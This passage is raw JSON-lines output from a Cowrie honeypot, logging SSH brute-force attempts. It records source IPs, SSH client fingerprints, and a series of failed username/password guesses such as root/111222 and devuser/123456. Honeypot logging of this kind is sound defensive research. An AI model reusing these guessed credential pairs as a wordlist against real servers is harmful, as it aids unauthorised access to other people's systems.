,"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:48.977384Z","src_ip":"91.92.40.36","session":"c4356deda308","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:51.713183Z","src_ip":"91.92.40.36","session":"c4356deda308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:53.323430Z","src_ip":"91.92.40.36","session":"c4356deda308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12590,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d7d21704f71","protocol":"ssh","message":"New connection: 91.92.40.36:12590 (10.17.0.5:22) [session: 5d7d21704f71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:55.987792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:56.299242Z","src_ip":"91.92.40.36","session":"5d7d21704f71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:56.320971Z","src_ip":"91.92.40.36","session":"5d7d21704f71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"fjbdfdjkdsfs541544","message":"login attempt [admin/fjbdfdjkdsfs541544] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:58.055762Z","src_ip":"91.92.40.36","session":"5d7d21704f71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":35976,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dae5613c8ae","protocol":"ssh","message":"New connection: 73.36.177.174:35976 (10.17.0.5:22) [session: 4dae5613c8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:58.720466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:58.725297Z","src_ip":"73.36.177.174","session":"4dae5613c8ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:58.770809Z","src_ip":"73.36.177.174","session":"4dae5613c8ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.4705913066864,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:58.815952Z","src_ip":"128.199.8.54","session":"7808e288a5de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertyuiop","message":"login attempt [ubuntu/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:58.983197Z","src_ip":"73.36.177.174","session":"4dae5613c8ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":14920,"dst_ip":"10.17.0.5","dst_port":22,"session":"03b38ee67c8b","protocol":"ssh","message":"New connection: 150.136.214.177:14920 (10.17.0.5:22) [session: 03b38ee67c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:59.232660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:59.237167Z","src_ip":"150.136.214.177","session":"03b38ee67c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:59.262662Z","src_ip":"150.136.214.177","session":"03b38ee67c8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111222","message":"login attempt [root/111222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:59.399917Z","src_ip":"150.136.214.177","session":"03b38ee67c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:01:59.404802Z","src_ip":"91.92.40.36","session":"5d7d21704f71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:00.033257Z","src_ip":"73.36.177.174","session":"4dae5613c8ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:00.428936Z","src_ip":"150.136.214.177","session":"03b38ee67c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12592,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3c57acb1474","protocol":"ssh","message":"New connection: 91.92.40.36:12592 (10.17.0.5:22) [session: c3c57acb1474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:04.121940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:04.207970Z","src_ip":"91.92.40.36","session":"c3c57acb1474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:04.287892Z","src_ip":"91.92.40.36","session":"c3c57acb1474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade","password":"123456","message":"login attempt [trade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:05.365958Z","src_ip":"91.92.40.36","session":"c3c57acb1474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:06.468657Z","src_ip":"91.92.40.36","session":"c3c57acb1474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":60508,"dst_ip":"159.203.135.109","dst_port":22,"session":"729fdf6223b6","protocol":"ssh","message":"New connection: 103.84.236.242:60508 (159.203.135.109:22) [session: 729fdf6223b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:08.927398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:08.932381Z","src_ip":"103.84.236.242","session":"729fdf6223b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:09.183023Z","src_ip":"103.84.236.242","session":"729fdf6223b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuserdevuser","message":"login attempt [devuser/devuserdevuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:10.164841Z","src_ip":"103.84.236.242","session":"729fdf6223b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20010,"dst_ip":"10.17.0.5","dst_port":22,"session":"05973b8d304e","protocol":"ssh","message":"New connection: 91.92.40.36:20010 (10.17.0.5:22) [session: 05973b8d304e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:10.705411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:11.120476Z","src_ip":"91.92.40.36","session":"05973b8d304e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:11.123930Z","src_ip":"91.92.40.36","session":"05973b8d304e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:11.518121Z","src_ip":"103.84.236.242","session":"729fdf6223b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"123456","message":"login attempt [devuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:13.261710Z","src_ip":"91.92.40.36","session":"05973b8d304e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":57844,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff6794cb00ca","protocol":"ssh","message":"New connection: 103.153.68.219:57844 (10.17.0.5:22) [session: ff6794cb00ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:13.358907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:13.366507Z","src_ip":"103.153.68.219","session":"ff6794cb00ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:13.627922Z","src_ip":"103.153.68.219","session":"ff6794cb00ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:14.411016Z","src_ip":"91.92.40.36","session":"05973b8d304e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikolay123","message":"login attempt [root/nikolay123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:14.419205Z","src_ip":"103.153.68.219","session":"ff6794cb00ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:15.693802Z","src_ip":"103.153.68.219","session":"ff6794cb00ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54710,"dst_ip":"10.17.0.5","dst_port":22,"session":"928bbb0aa851","protocol":"ssh","message":"New connection: 91.92.40.36:54710 (10.17.0.5:22) [session: 928bbb0aa851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:20.527900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:20.742891Z","src_ip":"91.92.40.36","session":"928bbb0aa851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":48484,"dst_ip":"159.203.135.109","dst_port":22,"session":"1225693b5dda","protocol":"ssh","message":"New connection: 160.187.180.146:48484 (159.203.135.109:22) [session: 1225693b5dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:20.765772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:20.771685Z","src_ip":"160.187.180.146","session":"1225693b5dda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:20.979323Z","src_ip":"160.187.180.146","session":"1225693b5dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xx123456","message":"login attempt [root/Xx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:02:21.845839Z","src_ip":"160.187.180.146","session":"1225693b5dda","protocol":"ssh"}
